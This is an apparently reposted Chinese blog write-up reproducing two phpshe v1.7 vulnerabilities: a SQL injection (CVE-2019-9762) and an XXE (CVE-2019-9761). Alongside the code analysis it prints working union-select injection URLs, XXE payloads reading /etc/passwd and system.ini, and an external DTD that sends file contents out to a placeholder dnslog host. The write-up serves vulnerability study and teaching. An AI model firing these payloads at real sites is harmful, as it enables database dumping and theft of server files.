phpshe v1.7漏洞复现(Sql injection+XXE)

前几天研究了一下xss的绕过,这两天准备深入研究下sql注入的审计

首先自动审计一波

看到疑似的一个变量覆盖点 

点进去看原来是 register_globals的隐患消除

简单来说如果这个配置设置为On的话,从客户端传输过来的任意参数值会被注册为全局变量,进而导致变量覆盖的风险,进而导致各种漏洞的发生,比如万能的未授权或者是越权

如果检测到开了,则销毁变量

又顺着自动审计的思路找了几个推荐点,但都没有可利用的.....时间不够啥时候又审

接下来复现一下这个版本爆出的两个漏洞

1.CVE-2019-9762(sql注入)

(1)漏洞成因

漏洞点在include\plugin\payment\alipay\pay.php的35行中

上面的函数接受了一个传参,但并不是原始传参

注意看上面的common文件

 来到common中

发现对其中GPC( $_GET, $_POST, $_COOKIES)变量进行了改写,加上了各种前缀,而且对特殊字符前加了转义符号\

第一个函数pe_dbhold是对传参进行安全处理的

 该函数用了递归,以传参是否在$exc中决定是否要多进行html实体编码,且均在特殊符号前加转义

中间的order_table函数决定了这个sql注入有有点特殊

它会先判断传入的参数是否有“_”,如果有,则会将“_”前的所有值都拼接给order_

否则直接返回order

来到核心查询语句pe_select

这里简单来说就是拼接条件语句

重点在下面,所拼接的表名用了反引号,但是对传参值中的反引号并未做任何的安全措施

所以表名这里存在注入

(2)漏洞利用

由于代码会将参数值中的第一个'_'前的值拼接到表名中,这意味着poc需要一些特殊处理

即需在poc注释部分加上“_”完成表名字拼接完成代码逃逸

order by查出字段数为12 

回显点右下角

查出具体回显点:

/include/plugin/payment/alipay/pay.php?id=pay`%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12%20order%20by%201--%20_

之后就能查数据库名等信息了,但是不能用带“_”的数据,原因上面说过

但是可以对表名进行爆破

like:

/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20and%20exists%20(select*%20from%20***)%23_

2.CVE-2019-9761(XXE)

一.基础知识

1.首先来说明一下XML

XML被设计作为用于传输以及存储数据,一般的结构主要包含DTD部分以及文档(主体)部分

DTD用于声明XML文档,其可被声明在XML文档中以及被外部引用

(1)若是被声明在内部,则有格式

<!DOCTYPE 根元素 [元素声明]>

例如

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

上下对比,DTD分别定义了XML文档的类型(note,DOCTYPE),文档元素(四个,ELEMENT),元素类型(ELEMENT)

(2)被XML源文件引用

<!DOCTYPE 根元素 SYSTEM "文件名">

 dtd文件如下

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

外部引用:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

   2. DTD实体(ENTITY)

   (1)内部实体:

<!ENTITY 实体名称 "实体的值">

   DTD例子:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

 XML例子:

<author>&writer;&copyright;</author>

 (2)外部实体

<!ENTITY 实体名称 SYSTEM "URI/URL">

   dtd文件:

<!ENTITY writer SYSTEM "http://*******/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://********/dtd/entities.dtd">

  XML例子:

<author>&writer;&copyright;</author>

 风格也有两种,一般实体和参数实体

一般实体:

<!ENTITY 实体名称 SYSTEM "实体内容">

引用:

&实体名称;

 例如:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>

 参数实体:

<!ENTITY % 实体名称 SYSTEM "实体内容">

 引用:

%实体名称;

例如:

<?xml version="1.0"?>
        <!DOCTYPE a [
        <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
        <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
        %dtd;
        %send;
        ]>
        <a></a>

3.关于漏洞

XXE最重要的一点之一就是是否可以引用外部实体

在php中,如果libxml>2.9.0,则默认开启

libxml_disable_entity_loader(true);

也就是默认不解析外部实体,也就是不存在XXE漏洞(下面的漏洞环境可解析外部实体)

二.漏洞成因

定位到\include\plugin\payment\wechat\notify_url.php

 接着定位wechat_getxml(),发现直接返回了pe_getxml

 继续定位

 发现$xml获取原始post数据(php://input)

然后使用simplexml_load_string()函数解析xml数据,且并没有禁用xml引用外部实体

三.漏洞利用

构造poc与一个用于被引用的dtd文件(放在可被访问的公网服务器上)

由于此处无回显,可在将数据反弹到dnslog服务器上

dtd文件:

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % all
"<!ENTITY send SYSTEM 'http://your.dnslog/?%file;'>"
>
%all;

poc:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/system.ini">
<!ENTITY % dtd SYSTEM "http://yourhost/1.dtd"> 
%dtd;
]>
<roottag>&send;</roottag>

 上面xml源对外部dtd文件(在这里是本地测试)进行了引用(注意必须加xml version以及编码声明,否则无法反弹)

然后利用php伪协议将敏感文件内容装载进dnslog url中

之后将在dnslog平台访问到base64编码后的数据

 

 当把php版本换高一点,libxml>2.9.0,则报错

 表示实体send未定义,也就是没有解析外部实体

猜你喜欢

转载自blog.csdn.net/weixin_51681694/article/details/130325545